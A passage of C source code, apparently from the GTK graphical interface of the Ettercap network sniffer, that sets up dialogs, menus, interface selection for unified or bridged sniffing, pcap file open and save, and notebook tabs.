6, FALSE); content_area = gtk_dialog_get_content_area(GTK_DIALOG(dialog)); gtk_container_add(GTK_CONTAINER(content_area), hbox); image = gtk_image_new_from_stock (GTK_STOCK_DIALOG_QUESTION, GTK_ICON_SIZE_DIALOG); gtk_misc_set_alignment (GTK_MISC (image), 0.5, 0.0); gtk_box_pack_start (GTK_BOX (hbox), image, FALSE, FALSE, 0); label = gtk_label_new (title); gtk_label_set_line_wrap (GTK_LABEL (label), TRUE); gtk_label_set_selectable (GTK_LABEL (label), TRUE); gtk_box_pack_start (GTK_BOX (hbox), label, TRUE, TRUE, 0); entry = gtk_entry_new(); gtk_entry_set_max_length(GTK_ENTRY(entry), n); g_object_set_data(G_OBJECT (entry), "dialog", dialog); g_signal_connect(G_OBJECT (entry), "activate", G_CALLBACK (gtkui_dialog_enter), NULL); if (input) gtk_entry_set_text(GTK_ENTRY (entry), input); gtk_box_pack_start(GTK_BOX (hbox), entry, FALSE, FALSE, 5); gtk_widget_show_all (hbox); if (gtk_dialog_run(GTK_DIALOG(dialog)) == GTK_RESPONSE_OK) { strncpy(input, gtk_entry_get_text(GTK_ENTRY (entry)), n); if (callback != NULL) { gtk_widget_destroy(dialog); callback(); return; } } gtk_widget_destroy(dialog); } /* * show or update the progress bar */ static void gtkui_progress(char *title, int value, int max) { static GtkWidget *hbox, *button; /* the first time, create the object */ if (progress_bar == NULL) { progress_dialog = gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_title(GTK_WINDOW (progress_dialog), PROGRAM); gtk_window_set_modal(GTK_WINDOW (progress_dialog), TRUE); gtk_window_set_transient_for(GTK_WINDOW(progress_dialog), GTK_WINDOW(window)); gtk_window_set_position(GTK_WINDOW(progress_dialog), GTK_WIN_POS_CENTER_ON_PARENT); gtk_container_set_border_width(GTK_CONTAINER (progress_dialog), 5); g_signal_connect(G_OBJECT (progress_dialog), "delete_event", G_CALLBACK (gtkui_progress_cancel), NULL); hbox = gtkui_box_new(GTK_ORIENTATION_HORIZONTAL, 3, FALSE); gtk_container_add(GTK_CONTAINER (progress_dialog), hbox); progress_bar = gtk_progress_bar_new(); #if GTK_CHECK_VERSION(3, 0, 0) gtk_progress_bar_set_show_text(GTK_PROGRESS_BAR(progress_bar), TRUE); #endif gtk_box_pack_start(GTK_BOX (hbox), progress_bar, TRUE, TRUE, 0); button = gtk_button_new_from_stock(GTK_STOCK_CANCEL); gtk_box_pack_start(GTK_BOX (hbox), button, FALSE, FALSE, 0); g_signal_connect(G_OBJECT (button), "clicked", G_CALLBACK (gtkui_progress_cancel), progress_dialog); } /* the subsequent calls have to only update the object */ gtk_progress_bar_set_text(GTK_PROGRESS_BAR (progress_bar), title); gtk_progress_bar_set_fraction(GTK_PROGRESS_BAR (progress_bar), (gdouble)((gdouble)value / (gdouble)max)); /* update dialog window */ gtk_widget_show_all(progress_dialog); /* * when 100%, destroy it */ if (value == max) { if (progress_dialog) gtk_widget_destroy(progress_dialog); progress_dialog = NULL; progress_bar = NULL; } } static gboolean gtkui_progress_cancel(GtkWidget *window, gpointer data) { /* variable not used */ (void) window; progress_canceled = TRUE; /* the progress dialog must be manually destroyed if the cancel button is used */ if (data != NULL && GTK_IS_WIDGET(data)) { gtk_widget_destroy(data); progress_dialog = NULL; progress_bar = NULL; } return(FALSE); } /* * print a message */ void gtkui_message(const char *msg) { GtkWidget *dialog; DEBUG_MSG("gtkui_message: %s", msg); dialog = gtk_message_dialog_new(GTK_WINDOW (window), GTK_DIALOG_MODAL, GTK_MESSAGE_INFO, GTK_BUTTONS_OK, "%s", msg); gtk_window_set_position(GTK_WINDOW (dialog), GTK_WIN_POS_CENTER_ON_PARENT); /* blocking - displays dialog waits for user to click OK */ gtk_dialog_run(GTK_DIALOG (dialog)); gtk_widget_destroy(dialog); return; } /* * Create the main interface and enter the second loop */ void gtkui_start(void) { guint idle_flush; DEBUG_MSG("gtk_start"); idle_flush = g_timeout_add(500, gtkui_flush_msg, NULL); /* which interface do we have to display ? */ if (EC_GBL_OPTIONS->read) gtkui_sniff_offline(); else gtkui_sniff_live(); /* the main gui loop, once this exits the gui will be destroyed */ gtk_main(); g_source_remove(idle_flush); } static void toggle_unoffensive(void) { if (EC_GBL_OPTIONS->unoffensive) { EC_GBL_OPTIONS->unoffensive = 0; } else { EC_GBL_OPTIONS->unoffensive = 1; } } static void toggle_nopromisc(void) { if (EC_GBL_PCAP->promisc) { EC_GBL_PCAP->promisc = 0; } else { EC_GBL_PCAP->promisc = 1; } } /* * display the initial menu to setup global options * at startup. */ static void gtkui_setup(void) { GtkTextIter iter; GtkWidget *vbox, *scroll, *vpaned, *logo, *main_menu; GtkActionGroup *menuactions; GtkAction *action; GClosure *closure = NULL; GError *error = NULL; GdkModifierType mods; gint keyval, width, height, left, top; char *path = NULL; static const char *menu_structure = "" " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " #ifndef OS_WINDOWS " " #endif " " " " " " ""; GtkActionEntry menu_items[] = { /* File Menu */ { "FileMenuAction", NULL, "_File", NULL, NULL, NULL }, { "FileOpenAction", GTK_STOCK_OPEN, "_Open", "O", "Open a PCAP file", G_CALLBACK(gtkui_file_open) }, { "FileSaveAction", GTK_STOCK_SAVE, "_Save", "S", "Save traffic as PCAP file", G_CALLBACK(gtkui_file_write) }, { "FileExitAction", GTK_STOCK_QUIT, "E_xit", "Q", "Exit Ettercap", G_CALLBACK(gtkui_exit) }, /* Sniff Menu */ { "SniffMenuAction", NULL, "_Sniff", NULL, NULL, NULL }, { "SniffUnifiedAction", GTK_STOCK_DND, "Unified sniffing...", "U", "Switch to unified sniffing mode", G_CALLBACK(gtkui_unified_sniff) }, { "SniffBridgedAction", GTK_STOCK_DND_MULTIPLE, "Bridged sniffing...", "B", "Switch to bridged sniffing mode", G_CALLBACK(gtkui_bridged_sniff) }, { "SniffFilterAction", GTK_STOCK_PREFERENCES, "Set pcap filter...", "P", "Limit relevant traffic", G_CALLBACK(gtkui_pcap_filter) }, /* Options Menu */ { "OptionsMenuAction", NULL, "_Options", NULL, NULL, NULL }, { "OptionsNetmaskAction", NULL, "Set netmask", "N", "Override netmask", G_CALLBACK(gtkui_set_netmask) }, /* Help Menu */ { "HelpMenuAction", NULL, "_Info", NULL, NULL, NULL }, #ifndef OS_WINDOWS { "HelpAction", GTK_STOCK_HELP, "Help", "F1", "Ettercap documentation", G_CALLBACK(gtkui_help) }, #endif { "AboutDialogAction", GTK_STOCK_ABOUT, "About", NULL, "About Ettercap", G_CALLBACK(gtkui_about) } }; GtkToggleActionEntry toggle_items[] = { { "OptionsUnoffensiveAction", NULL, "Unoffensive", NULL, "Keep quiet", G_CALLBACK(toggle_unoffensive), FALSE }, { "OptionsPromiscAction", NULL, "Promisc mode", NULL, "Toogle promisc mode (default: on)", G_CALLBACK(toggle_nopromisc), FALSE } }; DEBUG_MSG("gtkui_setup"); width = gtkui_conf_get("window_width"); height = gtkui_conf_get("window_height"); left = gtkui_conf_get("window_left"); top = gtkui_conf_get("window_top"); /* create menu window */ window = gtk_window_new (GTK_WINDOW_TOPLEVEL); gtk_window_set_title(GTK_WINDOW (window), PROGRAM" "EC_VERSION); gtk_window_set_default_size(GTK_WINDOW (window), width, height); /* set window icon */ path = ICON_DIR "/" ICON_FILE; if (g_file_test(path, G_FILE_TEST_EXISTS)) { gtk_window_set_icon(GTK_WINDOW(window), gdk_pixbuf_new_from_file(path, NULL)); } else { /* if neither path is valid gtk will use a broken image icon */ gtk_window_set_icon(GTK_WINDOW(window), gdk_pixbuf_new_from_file("./share/" ICON_FILE, NULL)); } if(left > 0 || top > 0) gtk_window_move(GTK_WINDOW(window), left, top); g_signal_connect (G_OBJECT (window), "delete_event", G_CALLBACK (gtkui_exit), NULL); /* group GtkActions together to one group */ menuactions = gtk_action_group_new("MenuActions"); gtk_action_group_add_actions(menuactions, menu_items, G_N_ELEMENTS(menu_items), NULL); gtk_action_group_add_toggle_actions(menuactions, toggle_items, G_N_ELEMENTS(toggle_items), NULL); /* create a new GtkUIManager instance and assing action group */ menu_manager = gtk_ui_manager_new(); gtk_ui_manager_insert_action_group(menu_manager, menuactions, 0); /* Load the menu structure XML*/ merge_id = gtk_ui_manager_add_ui_from_string(menu_manager, menu_structure, -1, &error); if (error) { g_message("building menu failed: %s", error->message); g_error_free(error); error = NULL; } /* some hidden accelerators */ accel_group = gtk_accel_group_new (); closure = g_cclosure_new(G_CALLBACK(gtkui_unified_sniff_default), NULL, NULL); gtk_accelerator_parse ("u", &keyval, &mods); gtk_accel_group_connect(accel_group, keyval, mods, 0, closure); closure = g_cclosure_new(G_CALLBACK(gtkui_exit), NULL, NULL); gtk_accelerator_parse("X", &keyval, &mods); gtk_accel_group_connect(accel_group, keyval, mods, 0, closure); /* link accelerator groups to window widget */ gtk_window_add_accel_group (GTK_WINDOW (window), accel_group); gtk_window_add_accel_group(GTK_WINDOW(window), gtk_ui_manager_get_accel_group(menu_manager)); vbox = gtkui_box_new(GTK_ORIENTATION_VERTICAL, 0, FALSE); gtk_container_add(GTK_CONTAINER (window), vbox); gtk_widget_show(vbox); main_menu = gtk_ui_manager_get_widget(menu_manager, "/MenuBar"); gtk_box_pack_start(GTK_BOX(vbox), main_menu, FALSE, FALSE, 0); gtk_widget_show(main_menu); if(EC_GBL_PCAP->promisc) { /* setting the menu item active will toggle this setting */ /* it will be TRUE after the menu is updated */ EC_GBL_PCAP->promisc = 0; action = gtk_ui_manager_get_action(menu_manager, "/MenuBar/OptionsMenu/Promisc"); gtk_toggle_action_set_active(GTK_TOGGLE_ACTION(action), TRUE); } if(EC_GBL_OPTIONS->unoffensive) { EC_GBL_OPTIONS->unoffensive = 0; action = gtk_ui_manager_get_action(menu_manager, "/MenuBar/OptionsMenu/Unoffensive"); gtk_toggle_action_set_active(GTK_TOGGLE_ACTION(action), TRUE); } #if GTK_CHECK_VERSION(3, 0, 0) vpaned = gtk_paned_new(GTK_ORIENTATION_VERTICAL); #else vpaned = gtk_vpaned_new(); #endif /* notebook for MDI pages */ notebook_frame = gtk_frame_new(NULL); gtk_frame_set_shadow_type(GTK_FRAME (notebook_frame), GTK_SHADOW_IN); gtk_paned_pack1(GTK_PANED(vpaned), notebook_frame, TRUE, TRUE); gtk_widget_show(notebook_frame); path = INSTALL_DATADIR "/" PROGRAM "/" LOGO_FILE; if(g_file_test(path, G_FILE_TEST_EXISTS)) logo = gtk_image_new_from_file(path); else /* if neither path is valid gtk will use a broken image icon */ logo = gtk_image_new_from_file("./share/" LOGO_FILE); gtk_misc_set_alignment (GTK_MISC (logo), 0.5, 0.5); gtk_container_add(GTK_CONTAINER (notebook_frame), logo); gtk_widget_show(logo); /* messages */ scroll = gtk_scrolled_window_new(NULL, NULL); gtk_scrolled_window_set_policy(GTK_SCROLLED_WINDOW (scroll), GTK_POLICY_AUTOMATIC, GTK_POLICY_ALWAYS); gtk_scrolled_window_set_shadow_type(GTK_SCROLLED_WINDOW (scroll), GTK_SHADOW_IN); gtk_widget_set_size_request(scroll, -1, 140); gtk_paned_pack2(GTK_PANED (vpaned), scroll, FALSE, TRUE); gtk_widget_show(scroll); textview = gtk_text_view_new(); gtk_text_view_set_wrap_mode(GTK_TEXT_VIEW (textview), GTK_WRAP_WORD_CHAR); gtk_text_view_set_editable(GTK_TEXT_VIEW (textview), FALSE); gtk_text_view_set_cursor_visible(GTK_TEXT_VIEW (textview), FALSE); gtk_container_add(GTK_CONTAINER (scroll), textview); gtk_widget_show(textview); msgbuffer = gtk_text_view_get_buffer(GTK_TEXT_VIEW (textview)); gtk_text_buffer_get_end_iter(msgbuffer, &iter); endmark = gtk_text_buffer_create_mark(msgbuffer, "end", &iter, FALSE); gtk_box_pack_end(GTK_BOX(vbox), vpaned, TRUE, TRUE, 0); gtk_widget_show(vpaned); gtk_widget_show(window); DEBUG_MSG("gtk_setup: end"); } /* * display the file open dialog */ static void gtkui_file_open(void) { GtkWidget *dialog; gchar *filename; int response = 0; DEBUG_MSG("gtk_file_open"); dialog = gtk_file_chooser_dialog_new("Select a pcap file...", GTK_WINDOW(window), GTK_FILE_CHOOSER_ACTION_OPEN, GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, GTK_STOCK_OPEN, GTK_RESPONSE_OK, NULL); /* This way the file chooser dialog doesn't start in the recent section */ gtk_file_chooser_set_current_folder(GTK_FILE_CHOOSER(dialog), ""); response = gtk_dialog_run (GTK_DIALOG (dialog)); if (response == GTK_RESPONSE_OK) { gtk_widget_hide(dialog); filename = gtk_file_chooser_get_filename(GTK_FILE_CHOOSER(dialog)); /* destroy needs to come before read_pcapfile so gtk_main_quit can reside inside read_pcapfile, which is why destroy is here twice and not after the if() block */ gtk_widget_destroy (dialog); read_pcapfile (filename); g_free(filename); } else { gtk_widget_destroy (dialog); } } static void read_pcapfile(gchar *file) { char pcap_errbuf[PCAP_ERRBUF_SIZE]; DEBUG_MSG("read_pcapfile %s", file); SAFE_CALLOC(EC_GBL_OPTIONS->pcapfile_in, strlen(file)+1, sizeof(char)); snprintf(EC_GBL_OPTIONS->pcapfile_in, strlen(file)+1, "%s", file); /* check if the file is good */ if (is_pcap_file(EC_GBL_OPTIONS->pcapfile_in, pcap_errbuf) != E_SUCCESS) { ui_error("%s", pcap_errbuf); SAFE_FREE(EC_GBL_OPTIONS->pcapfile_in); return; } /* set the options for reading from file */ EC_GBL_OPTIONS->silent = 1; EC_GBL_OPTIONS->unoffensive = 1; EC_GBL_OPTIONS->write = 0; EC_GBL_OPTIONS->read = 1; gtk_main_quit(); } /* * display the write file menu */ static void gtkui_file_write(void) { #define FILE_LEN 40 GtkWidget *dialog; gchar *filename; int response = 0; DEBUG_MSG("gtk_file_write"); dialog = gtk_file_chooser_dialog_new("Save traffic in a pcap file...", GTK_WINDOW(window), GTK_FILE_CHOOSER_ACTION_SAVE, GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, GTK_STOCK_OPEN, GTK_RESPONSE_OK, NULL); /* This way the file chooser dialog doesn't start in the recent section */ gtk_file_chooser_set_current_folder(GTK_FILE_CHOOSER(dialog), ""); response = gtk_dialog_run (GTK_DIALOG (dialog)); if (response == GTK_RESPONSE_OK) { gtk_widget_hide(dialog); filename = gtk_file_chooser_get_filename(GTK_FILE_CHOOSER(dialog)); /* destroy needs to come before read_pcapfile so gtk_main_quit can reside inside read_pcapfile, which is why destroy is here twice and not after the if() block */ gtk_widget_destroy (dialog); EC_GBL_OPTIONS->pcapfile_out = filename; write_pcapfile(); } else { gtk_widget_destroy (dialog); } } static void write_pcapfile(void) { FILE *f; DEBUG_MSG("write_pcapfile"); /* check if the file is writeable */ f = fopen(EC_GBL_OPTIONS->pcapfile_out, "w"); if (f == NULL) { ui_error("Cannot write %s", EC_GBL_OPTIONS->pcapfile_out); g_free(EC_GBL_OPTIONS->pcapfile_out); return; } /* if ok, delete it */ fclose(f); unlink(EC_GBL_OPTIONS->pcapfile_out); /* set the options for writing to a file */ EC_GBL_OPTIONS->write = 1; EC_GBL_OPTIONS->read = 0; } /* * display the interface selection dialog */ static void gtkui_unified_sniff(void) { GtkListStore *iface_list; GtkTreeIter iter; GtkTreeModel *model; GtkCellRenderer *cell; const char *iface_desc = NULL; char err[100]; GtkWidget *iface_combo; pcap_if_t *dev; GtkWidget *dialog, *label, *hbox, *vbox, *image, *content_area; DEBUG_MSG("gtk_unified_sniff"); dialog = gtk_dialog_new_with_buttons(PROGRAM" Input", GTK_WINDOW (window), GTK_DIALOG_MODAL, GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, GTK_STOCK_OK, GTK_RESPONSE_OK, NULL); #if !GTK_CHECK_VERSION(2, 22, 0) // depricated since Gtk 2.22 gtk_dialog_set_has_separator(GTK_DIALOG (dialog), FALSE); #endif gtk_container_set_border_width(GTK_CONTAINER (dialog), 5); hbox = gtkui_box_new(GTK_ORIENTATION_HORIZONTAL, 6, FALSE); content_area = gtk_dialog_get_content_area(GTK_DIALOG(dialog)); gtk_container_add(GTK_CONTAINER(content_area), hbox); image = gtk_image_new_from_stock (GTK_STOCK_DIALOG_QUESTION, GTK_ICON_SIZE_DIALOG); gtk_misc_set_alignment (GTK_MISC (image), 0.5, 0.0); gtk_box_pack_start (GTK_BOX (hbox), image, FALSE, FALSE, 0); label = gtk_label_new ("Network interface : "); gtk_label_set_line_wrap (GTK_LABEL (label), TRUE); gtk_label_set_selectable (GTK_LABEL (label), TRUE); gtk_box_pack_start (GTK_BOX (hbox), label, TRUE, TRUE, 0); /* make a list of network interfaces */ iface_list = gtk_list_store_new(1, G_TYPE_STRING); for(dev = (pcap_if_t *)EC_GBL_PCAP->ifs; dev != NULL; dev = dev->next) { gtk_list_store_append(iface_list, &iter); gtk_list_store_set(iface_list, &iter, 0, dev->description, -1); } /* make a drop down box and assign the list to it */ iface_combo = gtk_combo_box_new(); gtk_combo_box_set_model(GTK_COMBO_BOX(iface_combo), GTK_TREE_MODEL(iface_list)); g_object_unref(iface_list); cell = gtk_cell_renderer_text_new(); gtk_cell_layout_pack_start(GTK_CELL_LAYOUT(iface_combo), cell, TRUE); gtk_cell_layout_set_attributes( GTK_CELL_LAYOUT( iface_combo ), cell, "text", 0, NULL ); gtk_combo_box_set_active(GTK_COMBO_BOX(iface_combo), 0); vbox = gtkui_box_new(GTK_ORIENTATION_VERTICAL, 0, FALSE); gtk_box_pack_start(GTK_BOX(vbox), iface_combo, TRUE, FALSE, 0); gtk_box_pack_start(GTK_BOX(hbox), vbox, FALSE, FALSE, 0); /* hitting Enter in the drop down box clicks OK */ g_object_set_data(G_OBJECT(GTK_COMBO_BOX(iface_combo)), "dialog", dialog); g_signal_connect(G_OBJECT(GTK_COMBO_BOX(iface_combo)), "key-press-event", G_CALLBACK(gtkui_combo_enter), NULL); /* render the contents of the dialog */ gtk_widget_show_all (hbox); /* show the dialog itself and become interactive */ if (gtk_dialog_run(GTK_DIALOG(dialog)) == GTK_RESPONSE_OK) { gtk_combo_box_get_active_iter(GTK_COMBO_BOX(iface_combo), &iter); model = gtk_combo_box_get_model(GTK_COMBO_BOX(iface_combo)); gtk_tree_model_get(model, &iter, 0, &iface_desc, -1); for(dev = (pcap_if_t *)EC_GBL_PCAP->ifs; dev != NULL; dev = dev->next) { if(!strncmp(dev->description, iface_desc, IFACE_LEN)) { SAFE_FREE(EC_GBL_OPTIONS->iface); SAFE_CALLOC(EC_GBL_OPTIONS->iface, IFACE_LEN, sizeof(char)); strncpy(EC_GBL_OPTIONS->iface, dev->name, IFACE_LEN); break; } } /* if no match in list */ if(EC_GBL_OPTIONS->iface == NULL) { snprintf(err, 100, "Invalid interface: %s", iface_desc); gtkui_error(err); gtk_widget_destroy(dialog); return; } /* exit setup iterface */ gtk_widget_destroy(dialog); gtk_main_quit(); return; } gtk_widget_destroy(dialog); } /* * start unified sniffing with default interface */ static void gtkui_unified_sniff_default(void) { char err[PCAP_ERRBUF_SIZE]; DEBUG_MSG("gtkui_unified_sniff_default"); /* the ec_capture will find the interface for us */ if (EC_GBL_OPTIONS->iface == NULL) { char *iface; SAFE_CALLOC(EC_GBL_OPTIONS->iface, IFACE_LEN, sizeof(char)); iface = pcap_lookupdev(err); ON_ERROR(iface, NULL, "pcap_lookupdev: %s", err); strncpy(EC_GBL_OPTIONS->iface, iface, IFACE_LEN - 1); } /* close setup interface and start sniffing */ gtk_main_quit(); } /* * display the interface selection for bridged sniffing */ static void gtkui_bridged_sniff(void) { GtkWidget *dialog, *vbox, *hbox, *image, *content_area; GtkWidget *hbox_big, *label, *combo1, *combo2; GtkListStore *iface_list; GtkTreeIter iter; GtkTreeModel *model; GtkCellRenderer *cell1, *cell2; const char *iface_desc = NULL; char err[100]; pcap_if_t *dev; DEBUG_MSG("gtk_bridged_sniff"); dialog = gtk_dialog_new_with_buttons("Bridged Sniffing", GTK_WINDOW (window), GTK_DIALOG_MODAL, GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, GTK_STOCK_OK, GTK_RESPONSE_OK, NULL); gtk_container_set_border_width(GTK_CONTAINER (dialog), 5); #if !GTK_CHECK_VERSION(2, 22, 0) // depricated since Gtk 2.22 gtk_dialog_set_has_separator(GTK_DIALOG (dialog), FALSE); #endif hbox_big = gtkui_box_new(GTK_ORIENTATION_HORIZONTAL, 5, FALSE); content_area = gtk_dialog_get_content_area(GTK_DIALOG(dialog)); gtk_container_add(GTK_CONTAINER(content_area), hbox_big); vbox = gtkui_box_new(GTK_ORIENTATION_VERTICAL, 0, FALSE); image = gtk_image_new_from_stock (GTK_STOCK_DIALOG_QUESTION, GTK_ICON_SIZE_DIALOG); gtk_misc_set_alignment (GTK_MISC (image), 0.5, 0.1); gtk_box_pack_start (GTK_BOX (vbox), image, TRUE, FALSE, 5); gtk_box_pack_start(GTK_BOX(hbox_big), vbox, FALSE, FALSE, 0); vbox = gtkui_box_new(GTK_ORIENTATION_VERTICAL, 2, FALSE); gtk_container_set_border_width(GTK_CONTAINER (vbox), 5); gtk_box_pack_start (GTK_BOX (hbox_big), vbox, TRUE, TRUE, 0); hbox = gtkui_box_new(GTK_ORIENTATION_HORIZONTAL, 0, FALSE); gtk_box_pack_start(GTK_BOX (vbox), hbox, TRUE, TRUE, 0); label = gtk_label_new ("First network interface : "); gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); gtk_box_pack_start(GTK_BOX (hbox), label, TRUE, TRUE, 0); hbox = gtkui_box_new(GTK_ORIENTATION_HORIZONTAL, 0, FALSE); gtk_box_pack_start(GTK_BOX (vbox), hbox, TRUE, TRUE, 0); label = gtk_label_new ("Second network interface : "); gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); gtk_box_pack_start(GTK_BOX (hbox), label, TRUE, TRUE, 0); vbox = gtkui_box_new(GTK_ORIENTATION_VERTICAL, 0, FALSE); gtk_box_pack_start(GTK_BOX(hbox_big), vbox, TRUE, TRUE, 0); /* make a list of network interfaces */ iface_list = gtk_list_store_new(1, G_TYPE_STRING); for(dev = (pcap_if_t *)EC_GBL_PCAP->ifs; dev != NULL; dev = dev->next) { gtk_list_store_append(iface_list, &iter); gtk_list_store_set(iface_list, &iter, 0, dev->description, -1); } /* make a drop down box and assign the list to it */ combo1 = gtk_combo_box_new(); gtk_combo_box_set_model(GTK_COMBO_BOX(combo1), GTK_TREE_MODEL(iface_list)); cell1 = gtk_cell_renderer_text_new(); gtk_cell_layout_pack_start(GTK_CELL_LAYOUT(combo1), cell1, TRUE); gtk_cell_layout_set_attributes(GTK_CELL_LAYOUT(combo1), cell1, "text", 0, NULL); gtk_box_pack_start (GTK_BOX (vbox), combo1, TRUE, FALSE, 0); gtk_combo_box_set_active(GTK_COMBO_BOX(combo1), 0); /* make a drop down box and assign the list to it */ combo2 = gtk_combo_box_new(); gtk_combo_box_set_model(GTK_COMBO_BOX(combo2), GTK_TREE_MODEL(iface_list)); cell2 = gtk_cell_renderer_text_new(); gtk_cell_layout_pack_start(GTK_CELL_LAYOUT(combo2), cell2, TRUE); gtk_cell_layout_set_attributes(GTK_CELL_LAYOUT(combo2), cell2, "text", 0, NULL); gtk_box_pack_start(GTK_BOX(vbox), combo2, TRUE, FALSE, 0); gtk_combo_box_set_active(GTK_COMBO_BOX(combo2), 1); g_object_unref(iface_list); /* hitting Enter in the drop down box clicks OK */ gtk_widget_grab_focus(gtk_dialog_get_widget_for_response(GTK_DIALOG(dialog), GTK_RESPONSE_OK)); gtk_widget_show_all(hbox_big); if (gtk_dialog_run (GTK_DIALOG (dialog)) == GTK_RESPONSE_OK) { gtk_widget_hide(dialog); gtk_combo_box_get_active_iter(GTK_COMBO_BOX(combo1), &iter); model = gtk_combo_box_get_model(GTK_COMBO_BOX(combo1)); gtk_tree_model_get(model, &iter, 0, &iface_desc, -1); for(dev = (pcap_if_t *)EC_GBL_PCAP->ifs; dev != NULL; dev = dev->next) { if(!strncmp(dev->description, iface_desc, IFACE_LEN)) { SAFE_FREE(EC_GBL_OPTIONS->iface); SAFE_CALLOC(EC_GBL_OPTIONS->iface, IFACE_LEN, sizeof(char)); strncpy(EC_GBL_OPTIONS->iface, dev->name, IFACE_LEN); break; } } /* if no match in list */ if(EC_GBL_OPTIONS->iface == NULL) { snprintf(err, 100, "Invalid interface: %s", iface_desc); gtkui_error(err); gtk_widget_destroy(dialog); return; } gtk_combo_box_get_active_iter(GTK_COMBO_BOX(combo2), &iter); model = gtk_combo_box_get_model(GTK_COMBO_BOX(combo2)); gtk_tree_model_get(model, &iter, 0, &iface_desc, -1); for(dev = (pcap_if_t *)EC_GBL_PCAP->ifs; dev != NULL; dev = dev->next) { if(!strncmp(dev->description, iface_desc, IFACE_LEN)) { SAFE_FREE(EC_GBL_OPTIONS->iface_bridge); SAFE_CALLOC(EC_GBL_OPTIONS->iface_bridge, IFACE_LEN, sizeof(char)); strncpy(EC_GBL_OPTIONS->iface_bridge, dev->name, IFACE_LEN); break; } } /* if no match in list */ if(EC_GBL_OPTIONS->iface_bridge == NULL) { snprintf(err, 100, "Invalid interface: %s", iface_desc); gtkui_error(err); gtk_widget_destroy(dialog); return; } bridged_sniff(); } gtk_widget_destroy(dialog); } static void bridged_sniff(void) { set_bridge_sniff(); /* leaves setup menu, goes to main interface */ gtk_main_quit(); } /* * display the pcap filter dialog */ static void gtkui_pcap_filter(void) { #define PCAP_FILTER_LEN 50 DEBUG_MSG("gtk_pcap_filter"); if (EC_GBL_PCAP->filter == NULL) SAFE_CALLOC(EC_GBL_PCAP->filter, PCAP_FILTER_LEN, sizeof(char)); /* * no callback, the filter is set but we have to return to * the interface for other user input */ gtkui_input("Pcap filter :", EC_GBL_PCAP->filter, PCAP_FILTER_LEN, NULL); } /* * set a different netmask than the system one */ static void gtkui_set_netmask(void) { struct ip_addr net; DEBUG_MSG("gtkui_set_netmask"); if (EC_GBL_OPTIONS->netmask == NULL) SAFE_CALLOC(EC_GBL_OPTIONS->netmask, IP_ASCII_ADDR_LEN, sizeof(char)); /* * no callback, the filter is set but we have to return to * the interface for other user input */ gtkui_input("Netmask :", EC_GBL_OPTIONS->netmask, IP_ASCII_ADDR_LEN, NULL); /* sanity check */ if (strcmp(EC_GBL_OPTIONS->netmask, "") && ip_addr_pton(EC_GBL_OPTIONS->netmask, &net) != E_SUCCESS) ui_error("Invalid netmask %s", EC_GBL_OPTIONS->netmask); /* if no netmask was specified, free it */ if (!strcmp(EC_GBL_OPTIONS->netmask, "")) SAFE_FREE(EC_GBL_OPTIONS->netmask); } /* * Callback for g_timeout_add() to resolve a IP to name asyncronously * if the name is not already in the cache, host_iptoa * immediately returns but starts the resolution process * in the background. * This function periodically recalls this host_iptoa until * a result in available in the cache and updates the widget. */ gboolean gtkui_iptoa_deferred(gpointer data) { struct resolv_object *ro; char name[MAX_HOSTNAME_LEN]; ro = (struct resolv_object *)data; DEBUG_MSG("gtkui_iptoa_deferred"); if (host_iptoa(ro->ip, name) == E_SUCCESS) { /* * Name has now been resolved in the background * Set the widget text and destroy the timer */ if (ro->type == GTK_TYPE_LABEL) gtk_label_set_text(GTK_LABEL(ro->widget), name); else if (ro->type == GTK_TYPE_LIST_STORE) gtk_list_store_set(GTK_LIST_STORE(ro->liststore), &ro->treeiter, ro->column, name, -1); /* Free allocated memory */ SAFE_FREE(ro); /* destroy timer */ return FALSE; } else { /* Keep trying */ return TRUE; } } /* hitting "Enter" keyy in a combo box does the same as clicking OK button */ gboolean gtkui_combo_enter(GtkWidget *widget, GdkEventKey *event, gpointer data) { GtkWidget *dialog; /* variable not used */ (void) data; if (event->keyval == GDK_KEY_Return) { dialog = g_object_get_data(G_OBJECT(widget), "dialog"); gtk_dialog_response(GTK_DIALOG (dialog), GTK_RESPONSE_OK); return TRUE; } return FALSE; } /* hitting "Enter" key in dialog does same as clicking OK button */ void gtkui_dialog_enter(GtkWidget *widget, gpointer data) { GtkWidget *dialog; /* variable not used */ (void) data; dialog = g_object_get_data(G_OBJECT(widget), "dialog"); gtk_dialog_response(GTK_DIALOG (dialog), GTK_RESPONSE_OK); } /* create a new notebook (tab) page */ /* returns a parent widget to pack the contents of the page into */ GtkWidget *gtkui_page_new(char *title, void (*callback)(void), void (*detacher)(GtkWidget *)) { GtkWidget *parent, *label; GtkWidget *hbox, *button, *image; /* a container to hold the close button and tab label */ hbox = gtkui_box_new(GTK_ORIENTATION_HORIZONTAL, 0, FALSE); gtk_widget_show(hbox); /* the label for the tab title */ label = gtk_label_new(title); gtk_box_pack_start(GTK_BOX(hbox), label, TRUE, TRUE, 0); gtk_widget_show(label); /* the close button */ button = gtk_button_new(); gtk_button_set_relief(GTK_BUTTON (button), GTK_RELIEF_NONE); gtk_box_pack_start(GTK_BOX(hbox), button, FALSE, FALSE, 0); gtk_widget_set_size_request(button, 20, 20); gtk_widget_show(button); /* an image for the button */ image = gtk_image_new_from_stock (GTK_STOCK_CLOSE, GTK_ICON_SIZE_MENU); gtk_container_add(GTK_CONTAINER (button), image); gtk_widget_show(image); /* a parent to pack the contents into */ parent = gtk_frame_new(NULL); gtk_frame_set_shadow_type(GTK_FRAME(parent), GTK_SHADOW_NONE); gtk_widget_show(parent); if(!notebook && notebook_frame) { gtk_container_remove(GTK_CONTAINER (notebook_frame), gtk_bin_get_child(GTK_BIN (notebook_frame))); notebook = gtk_notebook_new(); gtk_notebook_set_tab_pos(GTK_NOTEBOOK (notebook), GTK_POS_TOP); gtk_notebook_set_scrollable(GTK_NOTEBOOK (notebook), TRUE); gtk_container_add(GTK_CONTAINER (notebook_frame), notebook); gtk_widget_show(notebook); #if GTK_MINOR_VERSION == 2 g_signal_connect(G_OBJECT (notebook), "switch-page", G_CALLBACK(gtkui_page_defocus_tabs), NULL); #endif gtkui_create_tab_menu(); } 